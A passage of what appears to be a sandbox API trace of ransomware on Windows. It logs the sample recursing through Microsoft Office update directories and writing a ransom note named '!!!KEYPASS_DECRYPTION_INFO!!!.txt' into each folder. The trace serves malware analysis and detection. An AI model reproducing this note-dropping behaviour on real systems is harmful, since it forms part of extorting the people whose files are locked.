[0276.509] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.509] GetLastError () returned 0x3f0 [0276.509] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft.NET\\ADOMD.NET\\130\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft.NET\\ADOMD.NET\\130\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.509] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft.NET\\ADOMD.NET\\130\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft.NET\\ADOMD.NET\\130\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilesx64\\microsoft.net\\adomd.net\\130\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d108, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18a4 [0276.510] GetFileType (hFile=0x18a4) returned 0x1 [0276.510] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d138, cchData=2 | out: lpLCData="0") returned 2 [0276.510] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d124, cchData=2 | out: lpLCData="0") returned 2 [0276.510] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d114, cchData=2 | out: lpLCData="0") returned 2 [0276.510] WriteFile (in: hFile=0x18a4, lpBuffer=0x2e4bda0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4b6cc, lpOverlapped=0x0 | out: lpBuffer=0x2e4bda0*, lpNumberOfBytesWritten=0x2e4b6cc*=0x3a4, lpOverlapped=0x0) returned 1 [0276.511] WriteFile (in: hFile=0x18a4, lpBuffer=0x2e4bda0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4b6cc, lpOverlapped=0x0 | out: lpBuffer=0x2e4bda0*, lpNumberOfBytesWritten=0x2e4b6cc*=0x2a, lpOverlapped=0x0) returned 1 [0276.511] CloseHandle (hObject=0x18a4) returned 1 [0276.511] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft.NET\\ADOMD.NET\\130\\*", lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 0x3998030 [0276.511] FindNextFileW (in: hFindFile=0x3998030, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.511] FindNextFileW (in: hFindFile=0x3998030, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.511] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft.NET\\ADOMD.NET\\130\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.511] FindNextFileW (in: hFindFile=0x3998030, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 0 [0276.511] FindNextFileW (in: hFindFile=0x39980b0, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 0 [0276.511] FindNextFileW (in: hFindFile=0x3997c30, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 0 [0276.512] FindNextFileW (in: hFindFile=0x3997a30, lpFindFileData=0x2e4dd94 | out: lpFindFileData=0x2e4dd94) returned 0 [0276.512] FindNextFileW (in: hFindFile=0x50ea488, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0276.512] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0276.512] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.512] GetLastError () returned 0x3f0 [0276.512] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.512] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilesx86\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4daf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18a8 [0276.565] GetFileType (hFile=0x18a8) returned 0x1 [0276.565] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0276.565] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0276.565] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0276.565] WriteFile (in: hFile=0x18a8, lpBuffer=0x2e4c790*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c0bc, lpOverlapped=0x0 | out: lpBuffer=0x2e4c790*, lpNumberOfBytesWritten=0x2e4c0bc*=0x3a4, lpOverlapped=0x0) returned 1 [0276.566] WriteFile (in: hFile=0x18a8, lpBuffer=0x2e4c790*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c0bc, lpOverlapped=0x0 | out: lpBuffer=0x2e4c790*, lpNumberOfBytesWritten=0x2e4c0bc*=0x2a, lpOverlapped=0x0) returned 1 [0276.566] CloseHandle (hObject=0x18a8) returned 1 [0276.566] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\*", lpFindFileData=0x2e4dd94 | out: lpFindFileData=0x2e4dd94) returned 0x3998130 [0276.566] FindNextFileW (in: hFindFile=0x3998130, lpFindFileData=0x2e4dd94 | out: lpFindFileData=0x2e4dd94) returned 1 [0276.566] FindNextFileW (in: hFindFile=0x3998130, lpFindFileData=0x2e4dd94 | out: lpFindFileData=0x2e4dd94) returned 1 [0276.566] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.566] FindNextFileW (in: hFindFile=0x3998130, lpFindFileData=0x2e4dd94 | out: lpFindFileData=0x2e4dd94) returned 1 [0276.566] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0276.566] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.566] GetLastError () returned 0x3f0 [0276.566] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis Services\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis Services\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.567] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis Services\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis Services\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilesx86\\microsoft analysis services\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d7a8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18ac [0276.568] GetFileType (hFile=0x18ac) returned 0x1 [0276.568] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7d8, cchData=2 | out: lpLCData="0") returned 2 [0276.568] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7c4, cchData=2 | out: lpLCData="0") returned 2 [0276.568] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7b4, cchData=2 | out: lpLCData="0") returned 2 [0276.568] WriteFile (in: hFile=0x18ac, lpBuffer=0x2e4c440*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4bd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c440*, lpNumberOfBytesWritten=0x2e4bd6c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.569] WriteFile (in: hFile=0x18ac, lpBuffer=0x2e4c440*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4bd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c440*, lpNumberOfBytesWritten=0x2e4bd6c*=0x2a, lpOverlapped=0x0) returned 1 [0276.569] CloseHandle (hObject=0x18ac) returned 1 [0276.569] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis Services\\*", lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 0x39983b0 [0276.569] FindNextFileW (in: hFindFile=0x39983b0, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.569] FindNextFileW (in: hFindFile=0x39983b0, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.569] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis Services\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.569] FindNextFileW (in: hFindFile=0x39983b0, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.569] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0276.570] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.570] GetLastError () returned 0x3f0 [0276.570] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.570] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d458, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18b0 [0276.571] GetFileType (hFile=0x18b0) returned 0x1 [0276.571] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d488, cchData=2 | out: lpLCData="0") returned 2 [0276.571] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d474, cchData=2 | out: lpLCData="0") returned 2 [0276.571] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d464, cchData=2 | out: lpLCData="0") returned 2 [0276.571] WriteFile (in: hFile=0x18b0, lpBuffer=0x2e4c0f0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4ba1c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c0f0*, lpNumberOfBytesWritten=0x2e4ba1c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.572] WriteFile (in: hFile=0x18b0, lpBuffer=0x2e4c0f0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4ba1c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c0f0*, lpNumberOfBytesWritten=0x2e4ba1c*=0x2a, lpOverlapped=0x0) returned 1 [0276.572] CloseHandle (hObject=0x18b0) returned 1 [0276.572] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\*", lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 0x3998570 [0276.572] FindNextFileW (in: hFindFile=0x3998570, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.572] FindNextFileW (in: hFindFile=0x3998570, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.572] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.572] FindNextFileW (in: hFindFile=0x3998570, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.572] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.572] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.572] GetLastError () returned 0x3f0 [0276.573] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\140\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\140\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.573] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\140\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\140\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\140\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d108, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18b4 [0276.597] GetFileType (hFile=0x18b4) returned 0x1 [0276.597] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d138, cchData=2 | out: lpLCData="0") returned 2 [0276.597] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d124, cchData=2 | out: lpLCData="0") returned 2 [0276.597] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d114, cchData=2 | out: lpLCData="0") returned 2 [0276.597] WriteFile (in: hFile=0x18b4, lpBuffer=0x2e4bda0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4b6cc, lpOverlapped=0x0 | out: lpBuffer=0x2e4bda0*, lpNumberOfBytesWritten=0x2e4b6cc*=0x3a4, lpOverlapped=0x0) returned 1 [0276.598] WriteFile (in: hFile=0x18b4, lpBuffer=0x2e4bda0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4b6cc, lpOverlapped=0x0 | out: lpBuffer=0x2e4bda0*, lpNumberOfBytesWritten=0x2e4b6cc*=0x2a, lpOverlapped=0x0) returned 1 [0276.598] CloseHandle (hObject=0x18b4) returned 1 [0276.598] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\140\\*", lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 0x3998070 [0276.599] FindNextFileW (in: hFindFile=0x3998070, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.599] FindNextFileW (in: hFindFile=0x3998070, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.599] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\140\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.599] FindNextFileW (in: hFindFile=0x3998070, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.599] PeekMessageW (in: lpMsg=0x2e4cf58, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cf58) returned 0 [0276.599] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.599] GetLastError () returned 0x3f0 [0276.599] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\140\\Cartridges\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\140\\Cartridges\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.599] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\140\\Cartridges\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\140\\Cartridges\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\140\\cartridges\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4cdb8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18b8 [0276.599] GetFileType (hFile=0x18b8) returned 0x1 [0276.600] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cde8, cchData=2 | out: lpLCData="0") returned 2 [0276.600] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cdd4, cchData=2 | out: lpLCData="0") returned 2 [0276.600] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cdc4, cchData=2 | out: lpLCData="0") returned 2 [0276.600] WriteFile (in: hFile=0x18b8, lpBuffer=0x2e4ba50*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4b37c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ba50*, lpNumberOfBytesWritten=0x2e4b37c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.601] WriteFile (in: hFile=0x18b8, lpBuffer=0x2e4ba50*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4b37c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ba50*, lpNumberOfBytesWritten=0x2e4b37c*=0x2a, lpOverlapped=0x0) returned 1 [0276.601] CloseHandle (hObject=0x18b8) returned 1 [0276.601] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\140\\Cartridges\\*", lpFindFileData=0x2e4d054 | out: lpFindFileData=0x2e4d054) returned 0x3998230 [0276.601] FindNextFileW (in: hFindFile=0x3998230, lpFindFileData=0x2e4d054 | out: lpFindFileData=0x2e4d054) returned 1 [0276.601] FindNextFileW (in: hFindFile=0x3998230, lpFindFileData=0x2e4d054 | out: lpFindFileData=0x2e4d054) returned 1 [0276.601] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\140\\Cartridges\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.601] FindNextFileW (in: hFindFile=0x3998230, lpFindFileData=0x2e4d054 | out: lpFindFileData=0x2e4d054) returned 0 [0276.601] FindNextFileW (in: hFindFile=0x3998070, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.601] PeekMessageW (in: lpMsg=0x2e4cf58, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cf58) returned 0 [0276.601] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.601] GetLastError () returned 0x3f0 [0276.601] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\140\\Resources\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\140\\Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.601] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\140\\Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\140\\Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\140\\resources\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4cdb8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18bc [0276.602] GetFileType (hFile=0x18bc) returned 0x1 [0276.602] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cde8, cchData=2 | out: lpLCData="0") returned 2 [0276.602] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cdd4, cchData=2 | out: lpLCData="0") returned 2 [0276.602] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cdc4, cchData=2 | out: lpLCData="0") returned 2 [0276.602] WriteFile (in: hFile=0x18bc, lpBuffer=0x2e4ba50*, nNumberOfBytesToWrite=0x3a4, 